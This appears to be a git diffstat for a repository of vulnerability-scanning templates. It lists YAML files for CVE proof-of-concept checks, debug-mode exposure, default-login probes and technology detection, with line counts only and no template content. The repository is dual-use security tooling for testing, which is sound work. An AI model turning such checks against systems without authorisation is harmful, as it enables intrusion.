poc/cve/cve-2015-7297-2587.yaml | 17 - poc/cve/cve-2016-1000131-2664.yaml | 34 - poc/cve/cve-2016-1000132-2669.yaml | 41 + poc/cve/cve-2016-1000138-2698.yaml | 33 + poc/cve/cve-2016-1000142-2714.yaml | 34 + poc/cve/cve-2016-10960-2764.yaml | 34 + poc/cve/cve-2016-2389-2779.yaml | 29 + poc/cve/cve-2016-4975-2792.yaml | 29 - poc/cve/cve-2016-6210.yaml | 33 + poc/cve/cve-2016-8527-2819.yaml | 34 - poc/cve/cve-2017-11610-2874.yaml | 51 - poc/cve/cve-2017-12542-2884.yaml | 38 - poc/cve/cve-2017-12583-2893.yaml | 33 + poc/cve/cve-2017-12615.yaml | 70 + poc/cve/cve-2017-12637-2918.yaml | 35 - poc/cve/cve-2017-14537-2934.yaml | 46 - poc/cve/cve-2017-15944-2965.yaml | 33 - poc/cve/cve-2017-18638-2999.yaml | 26 - poc/cve/cve-2017-3528-3012.yaml | 28 + poc/cve/cve-2017-5521-3027.yaml | 40 - poc/cve/cve-2017-5631-3031.yaml | 34 - poc/cve/cve-2017-5982-3039.yaml | 27 + poc/cve/cve-2017-9140-3083.yaml | 34 - poc/cve/cve-2017-9506.yaml | 42 - poc/cve/cve-2018-1000533-3141.yaml | 46 - poc/cve/cve-2018-10095-3160.yaml | 35 + poc/cve/cve-2018-10822-3178.yaml | 36 + poc/cve/cve-2018-11409.yaml | 46 - poc/cve/cve-2018-1271.yaml | 23 +- poc/cve/cve-2018-13380-3285.yaml | 41 + poc/cve/cve-2018-14728.yaml | 40 + poc/cve/cve-2018-14912-3315.yaml | 27 + poc/cve/cve-2018-14931-3325.yaml | 26 - poc/cve/cve-2018-16059-3350.yaml | 33 + poc/cve/cve-2018-16133-3358.yaml | 31 + poc/cve/cve-2018-16299-3373.yaml | 29 + poc/cve/cve-2018-16763.yaml | 45 + poc/cve/cve-2018-17431-3423.yaml | 38 - poc/cve/cve-2018-18323-3439.yaml | 28 - poc/cve/cve-2018-18775-3446.yaml | 25 + poc/cve/cve-2018-18925-3462.yaml | 35 - poc/cve/cve-2018-19386.yaml | 42 + poc/cve/cve-2018-19753-3488.yaml | 37 + poc/cve/cve-2018-19892(1).yaml | 51 - poc/cve/cve-2018-19914(1).yaml | 46 + poc/cve/cve-2018-19915(1).yaml | 47 - poc/cve/cve-2018-20009(1).yaml | 47 + poc/cve/cve-2018-20985-3507.yaml | 35 + poc/cve/cve-2018-6008-3574.yaml | 36 - poc/cve/cve-2018-7251-3587.yaml | 31 + poc/cve/cve-2018-7662-3617.yaml | 37 - poc/cve/cve-2018-8727-3645.yaml | 31 + poc/cve/cve-2018-9205-3660.yaml | 35 - .../cve/cve-2018\342\200\22314064.yaml" | 0 poc/cve/cve-2019-1010290-3700.yaml | 25 - poc/cve/cve-2019-10692(1).yaml | 35 + poc/cve/cve-2019-10717(1).yaml | 38 - poc/cve/cve-2019-11869-3764.yaml | 47 + poc/cve/cve-2019-12314.yaml | 43 - poc/cve/cve-2019-12583(1).yaml | 33 - poc/cve/cve-2019-13101-3802.yaml | 37 + poc/cve/cve-2019-13396-3812.yaml | 52 + poc/cve/cve-2019-14251(1).yaml | 31 + poc/cve/cve-2019-14322.yaml | 51 + poc/cve/cve-2019-14470.yaml | 50 - poc/cve/cve-2019-15811(1).yaml | 42 + poc/cve/cve-2019-16332-3934.yaml | 32 + poc/cve/cve-2019-16759.yaml | 50 + poc/cve/cve-2019-16931(1).yaml | 41 - poc/cve/cve-2019-16997-3966.yaml | 37 - poc/cve/cve-2019-17444-3984.yaml | 39 - poc/cve/cve-2019-17558.yaml | 74 - poc/cve/cve-2019-18371(1).yaml | 31 - poc/cve/cve-2019-19134-4031.yaml | 34 - poc/cve/cve-2019-20085-4074.yaml | 31 - poc/cve/cve-2019-2616(1).yaml | 29 - poc/cve/cve-2019-5418.yaml | 50 - poc/cve/cve-2019-7192-4192.yaml | 16 - poc/cve/cve-2019-7219-4197.yaml | 37 + poc/cve/cve-2019-7315(1).yaml | 29 - poc/cve/cve-2019-7481-4228.yaml | 33 + poc/cve/cve-2019-7543-4231.yaml | 33 + poc/cve/cve-2019-8903.yaml | 45 + poc/cve/cve-2019-8982.yaml | 42 + poc/cve/cve-2019-9922(1).yaml | 28 + poc/cve/cve-2020-10220.yaml | 50 - poc/cve/cve-2020-10549-4379.yaml | 29 - poc/cve/cve-2020-11110-4393.yaml | 57 + poc/cve/cve-2020-11530.yaml | 48 - poc/cve/cve-2020-11854.yaml | 48 + poc/cve/cve-2020-13117-4489.yaml | 29 - poc/cve/cve-2020-13700-4513.yaml | 29 - poc/cve/cve-2020-13942.yaml | 82 + poc/cve/cve-2020-13945-4535.yaml | 58 - poc/cve/cve-2020-14181.yaml | 45 - poc/cve/cve-2020-14864(1).yaml | 29 - poc/cve/cve-2020-14882.yaml | 46 + poc/cve/cve-2020-15129.yaml | 48 + poc/cve/cve-2020-15227.yaml | 28 + poc/cve/cve-2020-15920.yaml | 45 - poc/cve/cve-2020-16139.yaml | 48 + poc/cve/cve-2020-16920-4647.yaml | 57 + poc/cve/cve-2020-16952.yaml | 55 + poc/cve/cve-2020-1943-4720.yaml | 39 + poc/cve/cve-2020-20988(1).yaml | 43 - poc/cve/cve-2020-22208(1).yaml | 32 + ...2020-22210.yaml => cve-2020-22210(1).yaml} | 0 poc/cve/cve-2020-22840.yaml | 39 - poc/cve/cve-2020-23517.yaml | 52 - poc/cve/cve-2020-24148-4788.yaml | 30 - poc/cve/cve-2020-24571-4826.yaml | 29 + poc/cve/cve-2020-25864-4896.yaml | 44 - poc/cve/cve-2020-28351-4983.yaml | 36 - poc/cve/cve-2020-28976-4989.yaml | 30 - poc/cve/cve-2020-29227-5000.yaml | 30 - poc/cve/cve-2020-29395.yaml | 50 + poc/cve/cve-2020-29597(1).yaml | 49 + poc/cve/cve-2020-3452(1).yaml | 31 + poc/cve/cve-2020-3452.yaml | 24 +- poc/cve/cve-2020-35234-5026.yaml | 31 - poc/cve/cve-2020-35729-5065.yaml | 36 - poc/cve/cve-2020-35774-5076.yaml | 26 + poc/cve/cve-2020-3580-5085.yaml | 38 - poc/cve/cve-2020-35847-5094.yaml | 27 + poc/cve/cve-2020-36365-5126.yaml | 27 - poc/cve/cve-2020-36510(1).yaml | 35 + poc/cve/cve-2020-4463.yaml | 62 + poc/cve/cve-2020-5284.yaml | 47 - poc/cve/cve-2020-5775-5178.yaml | 24 - poc/cve/cve-2020-6287.yaml | 64 + poc/cve/cve-2020-7796-5255.yaml | 24 - poc/cve/cve-2020-8194.yaml | 49 + poc/cve/cve-2020-9490-5415.yaml | 26 - poc/cve/cve-2020-9490-5417.yaml | 29 + poc/cve/cve-2021-20031-5442.yaml | 35 - poc/cve/cve-2021-20091-5454.yaml | 48 + poc/cve/cve-2021-20150-5470.yaml | 50 - poc/cve/cve-2021-21307-5497.yaml | 85 + poc/cve/cve-2021-21402.yaml | 54 - poc/cve/cve-2021-21479-5524.yaml | 33 - poc/cve/cve-2021-21799(1).yaml | 37 - poc/cve/cve-2021-22145-5591.yaml | 37 - poc/cve/cve-2021-22873.yaml | 50 + poc/cve/cve-2021-24146-5631.yaml | 32 + poc/cve/cve-2021-24235-5649.yaml | 26 - poc/cve/cve-2021-24236(1).yaml | 80 - poc/cve/cve-2021-24245(1).yaml | 39 + poc/cve/cve-2021-24275-5661.yaml | 32 + poc/cve/cve-2021-24276-5664.yaml | 37 - poc/cve/cve-2021-24300(1).yaml | 44 + poc/cve/cve-2021-24320-5696.yaml | 25 - poc/cve/cve-2021-24342-5715.yaml | 37 - poc/cve/cve-2021-24891(1).yaml | 42 - poc/cve/cve-2021-24910(1).yaml | 32 - poc/cve/cve-2021-25033(1).yaml | 27 - poc/cve/cve-2021-25063-5794.yaml | 40 - poc/cve/cve-2021-25075(1).yaml | 53 - poc/cve/cve-2021-25085(1).yaml | 37 - poc/cve/cve-2021-25118(1).yaml | 39 + poc/cve/cve-2021-25120(1).yaml | 45 + poc/cve/cve-2021-26247-5852.yaml | 32 + poc/cve/cve-2021-26475-5863.yaml | 29 - poc/cve/cve-2021-27132.yaml | 48 + poc/cve/cve-2021-27310-5900.yaml | 32 + poc/cve/cve-2021-27748(1).yaml | 33 + poc/cve/cve-2021-28918-5975.yaml | 37 - poc/cve/cve-2021-29441-5993.yaml | 54 - poc/cve/cve-2021-29622.yaml | 38 - poc/cve/cve-2021-29625-6023.yaml | 37 + poc/cve/cve-2021-30497-6062.yaml | 21 - poc/cve/cve-2021-3129.yaml | 94 - poc/cve/cve-2021-31862-6120.yaml | 26 + poc/cve/cve-2021-32172-6126.yaml | 51 - poc/cve/cve-2021-3223(1).yaml | 35 - poc/cve/cve-2021-32305-6134.yaml | 31 - poc/cve/cve-2021-32820-6148.yaml | 20 + poc/cve/cve-2021-32853-6155.yaml | 31 + poc/cve/cve-2021-35336-6247.yaml | 37 - poc/cve/cve-2021-36356(1).yaml | 35 + poc/cve/cve-2021-36450(1).yaml | 55 + poc/cve/cve-2021-36748-6274.yaml | 35 + poc/cve/cve-2021-37416(1).yaml | 38 + poc/cve/cve-2021-37573-6288.yaml | 31 + poc/cve/cve-2021-37580-6292.yaml | 36 - poc/cve/cve-2021-37589(1).yaml | 55 + poc/cve/cve-2021-37833-6297.yaml | 37 - poc/cve/cve-2021-37859(1).yaml | 22 - poc/cve/cve-2021-38702-6314.yaml | 34 - poc/cve/cve-2021-39211(1).yaml | 31 + poc/cve/cve-2021-39312(1).yaml | 40 + poc/cve/cve-2021-39327-6341.yaml | 38 - poc/cve/cve-2021-41569(1).yaml | 28 + poc/cve/cve-2021-44077(1).yaml | 32 + poc/cve/cve-2021-44103(1).yaml | 69 + poc/cve/cve-2021-44515(1).yaml | 39 - poc/cve/cve-2021-44528(1).yaml | 35 - poc/cve/cve-2021-45046.yaml | 66 - poc/cve/cve-2021-45428(1).yaml | 43 + poc/cve/cve-2021-46417(1).yaml | 32 - poc/cve/cve-2021-46424(1).yaml | 39 + poc/cve/cve-2022-0201(1).yaml | 31 - poc/cve/cve-2022-0218-6615.yaml | 35 - poc/cve/cve-2022-0288(1).yaml | 38 - poc/cve/cve-2022-0346-6621.yaml | 39 + poc/cve/cve-2022-0422(1).yaml | 41 - poc/cve/cve-2022-0543(1).yaml | 35 - poc/cve/cve-2022-0595(1).yaml | 50 - poc/cve/cve-2022-0599(1).yaml | 41 + poc/cve/cve-2022-0660(1).yaml | 45 - poc/cve/cve-2022-0776(1).yaml | 31 - poc/cve/cve-2022-0870(1).yaml | 46 - poc/cve/cve-2022-0963(1).yaml | 64 - poc/cve/cve-2022-1040(1).yaml | 42 - poc/cve/cve-2022-1054(1).yaml | 29 - poc/cve/cve-2022-1597(1).yaml | 56 - poc/cve/cve-2022-1598-6653.yaml | 31 - poc/cve/cve-2022-1713(1).yaml | 37 + poc/cve/cve-2022-1724(1).yaml | 34 + poc/cve/cve-2022-1815(1).yaml | 31 - poc/cve/cve-2022-1906(1).yaml | 39 - poc/cve/cve-2022-1946(1).yaml | 36 - poc/cve/cve-2022-21705(1).yaml | 94 - poc/cve/cve-2022-2187(1).yaml | 36 + poc/cve/cve-2022-22954-6668.yaml | 35 + poc/cve/cve-2022-23178-6687.yaml | 34 - poc/cve/cve-2022-24124-6705.yaml | 37 + poc/cve/cve-2022-24856(1).yaml | 30 - poc/cve/cve-2022-2488(1).yaml | 34 - poc/cve/cve-2022-24900(1).yaml | 33 - poc/cve/cve-2022-25216-6718.yaml | 31 + poc/cve/cve-2022-26134(1).yaml | 45 + poc/cve/cve-2022-26138(1).yaml | 35 - poc/cve/cve-2022-26148-6730.yaml | 50 - poc/cve/cve-2022-26159-6733.yaml | 35 + poc/cve/cve-2022-26233-6735.yaml | 32 - poc/cve/cve-2022-26352(1).yaml | 41 + poc/cve/cve-2022-26960(1).yaml | 36 - poc/cve/cve-2022-27927(1).yaml | 38 + poc/cve/cve-2022-28080(1).yaml | 65 - poc/cve/cve-2022-28219(1).yaml | 53 + poc/cve/cve-2022-29455(1).yaml | 47 - poc/cve/cve-2022-29455.yaml | 36 - poc/cve/cve-2022-29464(1).yaml | 44 - poc/cve/cve-2022-30073(1).yaml | 63 + poc/cve/cve-2022-30489(1).yaml | 42 + poc/cve/cve-2022-30525(1).yaml | 39 - poc/cve/cve-2022-30776(1).yaml | 38 - poc/cve/cve-2022-30777(1).yaml | 38 - poc/cve/cve-2022-31373(1).yaml | 36 - poc/cve/cve-2022-32018(1).yaml | 29 - poc/cve/cve-2022-32028(1).yaml | 46 - poc/cve/cve-2022-32159(1).yaml | 39 - poc/cve/cve-2022-32159.yaml | 5 - poc/cve/cve-2022-33174(1).yaml | 41 - poc/cve/cve-2022-34046(1).yaml | 34 - poc/cve/cve-2022-34047(1).yaml | 34 + poc/cve/cve-2022-34048(1).yaml | 41 + poc/cve/cve-2022-34049(1).yaml | 41 - poc/cve/cve-2022-36883(1).yaml | 27 + poc/cve/cve-2023-2523.yaml | 39 + poc/cve/cve-2024-23334.yaml | 49 + poc/cve/resin-cnnvd-200705-315-9867.yaml | 4 +- poc/debug/Django-DebugMode.yaml | 8 +- ...> android-debug-database-exposed-312.yaml} | 0 .../android-debug-database-exposed-314.yaml | 47 +- poc/debug/aspx-debug-mode-575.yaml | 31 - poc/debug/aspx-debug-mode-578.yaml | 33 + poc/debug/aspx-debug-mode-579.yaml | 2 - ...bug-mode-577.yaml => aspx-debug-mode.yaml} | 0 poc/debug/browserless-debugger-794.yaml | 29 + poc/debug/browserless-debugger-795.yaml | 14 +- poc/debug/coldfusion-debug-xss-1152.yaml | 21 +- poc/debug/coldfusion-debug-xss-1153.yaml | 65 +- poc/debug/debug-enabled-6788.yaml | 16 - poc/debug/debug-enabled.yaml | 7 +- poc/debug/django-debug-exposure-7029.yaml | 7 +- poc/debug/django-debug-exposure-7031.yaml | 24 + poc/debug/laravel-debug-enabled-8577.yaml | 5 +- poc/debug/laravel-debug-enabled.yaml | 22 - poc/debug/php-debug-bar-9507.yaml | 30 - poc/debug/pyramid-debug-toolbar-9740.yaml | 22 + poc/debug/pyramid-debug-toolbar-9741.yaml | 15 +- poc/debug/rails-debug-mode-9806.yaml | 17 - poc/debug/rails-debug-mode-9807.yaml | 17 + poc/debug/rails-debug-mode.yaml | 17 +- poc/debug/sitecore-debug-page.yaml | 13 +- poc/debug/struts-debug-mode-10560.yaml | 16 + poc/debug/struts-debug-mode-10561.yaml | 16 - poc/debug/struts-debug-mode.yaml | 11 +- poc/debug/symfony-debugmode-10618.yaml | 24 + poc/debug/symfony-debugmode-10620.yaml | 27 - poc/debug/symfony-debugmode-10623.yaml | 14 +- ...104.yaml => wamp-xdebug-detect-11103.yaml} | 0 poc/debug/werkzeug-debugger-detect-11198.yaml | 7 +- poc/debug/wordpress-debug-log-11256.yaml | 25 + poc/debug/wordpress-debug-log-11259.yaml | 25 - poc/debug/wp-debug-log.yaml | 58 +- poc/debug/yii-debugger-11739.yaml | 32 +- poc/debug/yii-debugger-11741.yaml | 37 + poc/default/3Com-wireless-default-login.yaml | 52 + poc/default/JeeSite-default-login.yaml | 5 +- poc/default/Mantis-Default_login.yaml | 47 - ...47.yaml => activemq-default-login-44.yaml} | 0 poc/default/aem-default-get-servlet-136.yaml | 91 - poc/default/aem-default-get-servlet-137.yaml | 78 + poc/default/aem-default-get-servlet-138.yaml | 80 + poc/default/aem-default-get-servlet-139.yaml | 19 +- ...in-141.yaml => aem-default-login-140.yaml} | 0 poc/default/aem-default-login.yaml | 56 - ...in.yaml => airflow-default-login-234.yaml} | 0 poc/default/airflow-default-login-235.yaml | 64 - poc/default/airflow-default-login-236.yaml | 21 +- poc/default/ambari-default-credentials.yaml | 4 +- poc/default/ambari-default-login-287.yaml | 35 + poc/default/ambari-default-login-290.yaml | 9 +- poc/default/apisix-default-login-490.yaml | 8 +- poc/default/apisix-default-login-492.yaml | 20 +- poc/default/apollo-default-login-520.yaml | 10 +- poc/default/apollo-default-login-521.yaml | 57 - poc/default/arl-default-login-537.yaml | 44 + poc/default/arl-default-login-539.yaml | 44 - poc/default/arl-default-login-540.yaml | 2 +- poc/default/asus-rtn16-default-login.yaml | 43 + poc/default/asus-wl500g-default-login.yaml | 47 + poc/default/asus-wl520GU-default-login.yaml | 42 + ...in.yaml => azkaban-default-login-671.yaml} | 0 poc/default/azkaban-default-login-673.yaml | 100 +- ...usinessintelligence-default-login-817.yaml | 45 + ...> businessintelligence-default-login.yaml} | 0 .../cambium-networks-default-login.yaml | 44 + poc/default/canal-default-login-846.yaml | 44 - poc/default/canal-default-login-849.yaml | 35 + poc/default/canal-default-login.yaml | 9 + .../chinaunicom-default-login-906.yaml | 38 - ...aml => chinaunicom-default-login-909.yaml} | 0 ...chinaunicom-modem-default-credentials.yaml | 2 + poc/default/cobbler-default-login-1118.yaml | 72 + poc/default/cobbler-default-login-1119.yaml | 54 - poc/default/cobbler-default-login-1120.yaml | 4 +- poc/default/default-apache-test-all-6815.yaml | 29 + ...6813.yaml => default-apache-test-all.yaml} | 0 .../default-apache-test-page-6816.yaml | 6 +- poc/default/default-apache-test-page.yaml | 17 - poc/default/default-apache2-page-6804.yaml | 6 +- poc/default/default-apache2-page-6805.yaml | 7 +- .../default-apache2-ubuntu-page-6808.yaml | 18 - .../default-apache2-ubuntu-page-6809.yaml | 6 +- .../default-apache2-ubuntu-page-6810.yaml | 3 +- poc/default/default-asp-net-page-6824.yaml | 6 +- poc/default/default-asp-net-page-6825.yaml | 8 +- .../default-centos-test-page-6826.yaml | 5 +- .../default-centos-test-page-6828.yaml | 7 +- ...aml => default-codeigniter-page-6830.yaml} | 0 .../default-codeigniter-page-6832.yaml | 5 +- poc/default/default-detect-generic-6838.yaml | 11 +- poc/default/default-detect-generic-6839.yaml | 22 - poc/default/default-django-page-6841.yaml | 19 - poc/default/default-django-page-6842.yaml | 5 +- poc/default/default-fastcgi-page-6844.yaml | 5 +- poc/default/default-fastcgi-page-6845.yaml | 6 +- poc/default/default-fedora-page-6848.yaml | 9 +- poc/default/default-fedora-page.yaml | 17 - .../default-glassfish-server-page-6854.yaml | 20 + .../default-glassfish-server-page.yaml | 8 +- poc/default/default-iis7-page.yaml | 17 - poc/default/default-jetty-page-6862.yaml | 18 + poc/default/default-jetty-page-6863.yaml | 3 +- poc/default/default-jetty-page.yaml | 17 + poc/default/default-lucee-page-6870.yaml | 30 - .../default-microsoft-azure-page-6873.yaml | 5 +- .../default-microsoft-azure-page-6874.yaml | 6 +- poc/default/default-movable-page-6878.yaml | 6 +- poc/default/default-movable-page-6879.yaml | 10 +- poc/default/default-nginx-page-6880.yaml | 5 +- poc/default/default-nginx-page-6881.yaml | 19 - poc/default/default-openresty-6886.yaml | 5 +- poc/default/default-openresty.yaml | 18 - .../default-oracle-application-page-6891.yaml | 16 + .../default-payara-server-page-6894.yaml | 9 +- .../default-payara-server-page-6895.yaml | 6 +- .../default-redhat-test-page-6902.yaml | 23 + .../default-redhat-test-page-6903.yaml | 3 +- .../default-ssltls-test-page-6908.yaml | 20 - poc/default/default-ssltls-test-page.yaml | 17 - poc/default/default-tomcat-page-6910.yaml | 28 + poc/default/default-tomcat-page-6911.yaml | 18 - poc/default/default-tomcat-page.yaml | 18 +- .../default-windows-server-page-6913.yaml | 10 +- .../default-windows-server-page-6914.yaml | 6 +- .../dell-idrac-default-login-6942.yaml | 44 - ...aml => dell-idrac-default-login-6945.yaml} | 0 .../dell-idrac9-default-login-6932.yaml | 37 - .../dell-idrac9-default-login-6934.yaml | 7 - .../digital-watchdog-default-login.yaml | 44 + poc/default/druid-default-login-7096.yaml | 16 +- poc/default/druid-default-login-7097.yaml | 32 - .../dubbo-admin-default-login-7121.yaml | 34 + ...20.yaml => dubbo-admin-default-login.yaml} | 0 poc/default/dvwa-default-login-7128.yaml | 26 +- poc/default/dvwa-default-login-7129.yaml | 46 - poc/default/emcecom-default-login-7211.yaml | 43 + poc/default/emcecom-default-login-7214.yaml | 7 +- poc/default/emqx-default-login-7221.yaml | 39 + poc/default/flir-default-login.yaml | 35 + poc/default/frp-default-login-7556.yaml | 11 +- poc/default/frp-default-login-7559.yaml | 35 + poc/default/frp-default-login.yaml | 34 + poc/default/genieacs-default-jwt.yaml | 56 + poc/default/geoserver-default-login-7593.yaml | 31 +- poc/default/geoserver-default-login-7594.yaml | 5 +- poc/default/glpi-default-login-7731.yaml | 14 +- poc/default/glpi-default-login-7732.yaml | 63 - poc/default/glpi-default-login.yaml | 62 - poc/default/gophish-default-login-7792.yaml | 14 +- poc/default/gophish-default-login-7794.yaml | 40 + poc/default/grafana-default-login-7801.yaml | 3 +- poc/default/grafana-default-login-7804.yaml | 14 +- poc/default/guacamole-default-login-7861.yaml | 46 - poc/default/guacamole-default-login.yaml | 46 + poc/default/hongdian-default-login-7997.yaml | 10 +- poc/default/hongdian-default-login-7998.yaml | 10 - poc/default/hp-switch-default-login-8035.yaml | 41 + poc/default/hp-switch-default-login-8036.yaml | 29 - poc/default/hp-switch-default-login-8038.yaml | 14 +- poc/default/huawei-HG532e-default-login.yaml | 39 + .../huawei-HG532e-default-router-login.yaml | 57 +- ...awei-hg532e-default-router-login-8064.yaml | 30 - poc/default/hue-default-credential-8080.yaml | 23 +- poc/default/hue-default-credential-8081.yaml | 17 +- .../ibm-mqseries-default-login-8107.yaml | 46 + poc/default/ibm-mqseries-default-login.yaml | 39 - .../ibm-storage-default-credential-8123.yaml | 12 +- .../ibm-storage-default-credential-8124.yaml | 3 +- .../idemia-biometrics-default-login-8138.yaml | 46 + .../idemia-biometrics-default-login-8139.yaml | 23 +- ...spur-clusterengine-default-login-8162.yaml | 14 +- .../inspur-clusterengine-default-login.yaml | 39 - poc/default/iptime-default-login-8194.yaml | 3 +- poc/default/iptime-default-login.yaml | 42 - poc/default/jenkins-default-8272.yaml | 38 - poc/default/jenkins-default-login.yaml | 85 +- poc/default/jinher-oa-default-login-8311.yaml | 52 + poc/default/jinher-oa-default-login.yaml | 44 - poc/default/jira-login-default.yaml | 8 +- poc/default/jmx-default-login-8356.yaml | 29 +- poc/default/jmx-default-login.yaml | 43 - .../jupyterhub-default-login-8401.yaml | 12 +- ...400.yaml => jupyterhub-default-login.yaml} | 0 .../kafka-center-default-login-8415.yaml | 48 + .../kafka-center-default-login-8416.yaml | 7 +- poc/default/lighttpd-default.yaml | 13 +- .../lutron-iot-default-login-8675.yaml | 27 + .../lutron-iot-default-login-8678.yaml | 31 - .../mantisbt-default-credential-8779.yaml | 4 +- poc/default/minio-default-login-8887.yaml | 52 + poc/default/minio-default-password.yaml | 6 - poc/default/mofi4500-default-login-8912.yaml | 8 +- poc/default/mofi4500-default-login-8913.yaml | 33 + poc/default/mysql-default-login.yaml | 52 + poc/default/nagios-default-credential.yaml | 1 + poc/default/nagios-default-login-8994.yaml | 31 - poc/default/nagios-default-login.yaml | 39 - poc/default/netsus-default-login-9058.yaml | 45 - poc/default/netsus-default-login-9060.yaml | 8 - poc/default/nexus-default-login-9088.yaml | 46 + poc/default/nexus-default-login-9089.yaml | 7 - ...login.yaml => nps-default-login-9144.yaml} | 0 poc/default/nps-default-login-9145.yaml | 19 +- .../octobercms-default-login-9192.yaml | 59 - .../octobercms-default-login-9193.yaml | 53 + poc/default/octobercms-default-login.yaml | 10 +- poc/default/ofbiz-default-credentials.yaml | 4 +- poc/default/openemr-default-login-9269.yaml | 11 +- poc/default/openemr-default-login.yaml | 46 + poc/default/openwrt-default-login.yaml | 13 +- ...erations-automation-default-page-9337.yaml | 24 + ...erations-automation-default-page-9338.yaml | 4 +- poc/default/panabit-default-login-9437.yaml | 31 +- poc/default/panabit-default-login-9438.yaml | 50 +- poc/default/panabit-default-login-9440.yaml | 60 - poc/default/panabit-default-password.yaml | 4 - .../panabit-ixcache-default-login-9443.yaml | 14 +- .../panabit-ixcache-default-login.yaml | 30 + poc/default/panos-default-login-9454.yaml | 9 +- poc/default/panos-default-login-9457.yaml | 41 + poc/default/panos-default-login.yaml | 42 + poc/default/pentaho-default-login.yaml | 48 + poc/default/pgsql-default-db.yaml | 54 + poc/default/rabbitmq-default-login-9786.yaml | 15 +- poc/default/rainloop-default-login-9813.yaml | 49 + poc/default/rainloop-default-login.yaml | 11 +- poc/default/rancher-default-login-9814.yaml | 13 +- ...n-9815.yaml => rancher-default-login.yaml} | 0 poc/default/ranger-default-login-9827.yaml | 39 - poc/default/ranger-default-login-9828.yaml | 15 +- .../rockmongo-default-credentials.yaml | 5 + poc/default/rockmongo-default-login-9899.yaml | 15 +- poc/default/rockmongo-default-login-9900.yaml | 18 +- poc/default/rseenet-default-login-9913.yaml | 44 - poc/default/rseenet-default-login-9915.yaml | 19 +- .../samsung-wlan-ap-default-credentials.yaml | 3 - .../samsung-wlan-default-login-10017.yaml | 11 +- .../samsung-wlan-default-login-10018.yaml | 30 + .../secnet-ac-default-login-10113.yaml | 12 +- poc/default/secnet-ac-default-login.yaml | 36 - poc/default/seeddms-default-login-10127.yaml | 47 - poc/default/seeddms-default-login.yaml | 39 + .../sequoiadb-default-login-10152.yaml | 10 +- poc/default/sequoiadb-default-login.yaml | 37 - poc/default/showdoc-default-login-10219.yaml | 46 + poc/default/showdoc-default-login.yaml | 40 + .../showdoc-default-password-10224.yaml | 31 - poc/default/showdoc-default-password.yaml | 19 +- .../smartsense-default-login-10330.yaml | 17 +- poc/default/smb-default-creds.yaml | 48 + .../solarwinds-default-login-10354.yaml | 9 +- .../solarwinds-default-login-10355.yaml | 55 + poc/default/soplanning-default-login.yaml | 49 + .../spectracom-default-login-10403.yaml | 11 +- .../spectracom-default-login-10405.yaml | 40 + poc/default/structurizr-default-login.yaml | 62 + .../supermicro-default-login-10572.yaml | 11 +- poc/default/supermicro-default-login.yaml | 36 + poc/default/szhe-default-login-10636.yaml | 34 + poc/default/szhe-default-login-10638.yaml | 10 +- poc/default/timekeeper-default-login.yaml | 46 + poc/default/tomcat-default-login-10788.yaml | 20 +- poc/default/tomcat-default-login-10791.yaml | 23 +- poc/default/trilithic-viewpoint-default.yaml | 27 +- poc/default/ucmdb-default-login-10868.yaml | 14 +- poc/default/ucmdb-default-login.yaml | 28 - poc/default/versa-default-login-11002.yaml | 18 +- poc/default/versa-default-login-11003.yaml | 48 + poc/default/vidyo-default-login-11008.yaml | 20 +- poc/default/vidyo-default-login-11009.yaml | 52 + poc/default/vidyo-default-login-11010.yaml | 3 +- .../visionhub-default-login-11027.yaml | 11 +- .../visionhub-default-login-11029.yaml | 36 + poc/default/visionhub-default-login.yaml | 37 + poc/default/wifisky-default-login-11202.yaml | 22 +- poc/default/wifisky-default-login-11204.yaml | 11 +- poc/default/wso2-default-login-11640.yaml | 43 + poc/default/xampp-default-page-11663.yaml | 3 +- poc/default/xampp-default-page.yaml | 20 - poc/default/xerox7-default-login-11678.yaml | 16 +- poc/default/xerox7-default-login-11679.yaml | 12 +- poc/default/xxljob-default-login-11709.yaml | 53 - poc/default/xxljob-default-login-11712.yaml | 3 +- poc/default/xxljob-default-login.yaml | 63 + poc/default/zabbix-default-credentials.yaml | 7 +- poc/default/zabbix-default-login-11760.yaml | 16 +- poc/default/zabbix-default-login-11762.yaml | 39 - poc/default/zmanda-default-login-11828.yaml | 11 +- ...n-11826.yaml => zmanda-default-login.yaml} | 0 poc/detect/Biometric-detect.yaml | 17 - poc/detect/achecker-detect-27.yaml | 26 + poc/detect/achecker-detect.yaml | 52 +- poc/detect/adbhoney-honeypot-cnxn-detect.yaml | 34 + .../adbhoney-honeypot-shell-detect.yaml | 37 + poc/detect/addeventlistener-detect-64.yaml | 16 +- poc/detect/addeventlistener-detect.yaml | 30 +- poc/detect/adobe-coldfusion-detect-82.yaml | 12 +- ...t.yaml => adobe-coldfusion-detect-83.yaml} | 0 .../adobe-coldfusion-error-detect-88.yaml | 13 +- ...aml => adobe-coldfusion-error-detect.yaml} | 0 poc/detect/aem-detection-145.yaml | 28 + poc/detect/aem-detection-146.yaml | 28 - poc/detect/aix-websm-detect.yaml | 35 + poc/detect/alfresco-detect-258.yaml | 43 + poc/detect/alfresco-detect-259.yaml | 7 - poc/detect/alfresco-detect-260.yaml | 33 - poc/detect/apache-axis-detect.yaml | 32 + poc/detect/apache-cocoon-detect-342.yaml | 33 + poc/detect/apache-cocoon-detect.yaml | 27 - poc/detect/apache-detect-347.yaml | 2 +- poc/detect/apache-dubbo-detect-351.yaml | 23 + poc/detect/apache-dubbo-detect.yaml | 19 - ....yaml => artica-web-proxy-detect-545.yaml} | 0 poc/detect/artica-web-proxy-detect.yaml | 22 - poc/detect/autobahn-python-detect-595.yaml | 33 - poc/detect/autobahn-python-detect.yaml | 29 + poc/detect/avantfax-detect.yaml | 67 +- .../aws-elastic-beanstalk-detect-643.yaml | 6 +- poc/detect/aws-elastic-beanstalk-detect.yaml | 30 + poc/detect/aws-sftp-detect.yaml | 34 + poc/detect/azure-takeover-detection-681.yaml | 40 + poc/detect/azure-takeover-detection-682.yaml | 33 +- poc/detect/basic-auth-detection-688.yaml | 45 +- poc/detect/bedita-detect-704.yaml | 50 +- poc/detect/bedita-detect-706.yaml | 25 - poc/detect/bigbluebutton-detect-723.yaml | 28 + poc/detect/bigbluebutton-detect.yaml | 25 - ...l => bigip-config-utility-detect-730.yaml} | 0 poc/detect/bimi-detect.yaml | 25 + poc/detect/biometric-detect.yaml | 15 +- poc/detect/bitvise-ssh-detect.yaml | 35 + poc/detect/bluecoat-telnet-proxy-detect.yaml | 33 + ...9.yaml => brother-printer-detect-788.yaml} | 0 poc/detect/brother-printer-detect-790.yaml | 54 +- poc/detect/burp-api-detect-810.yaml | 8 +- ...i-detect.yaml => burp-api-detect-812.yaml} | 0 poc/detect/carestream-vue-detect-861.yaml | 31 - 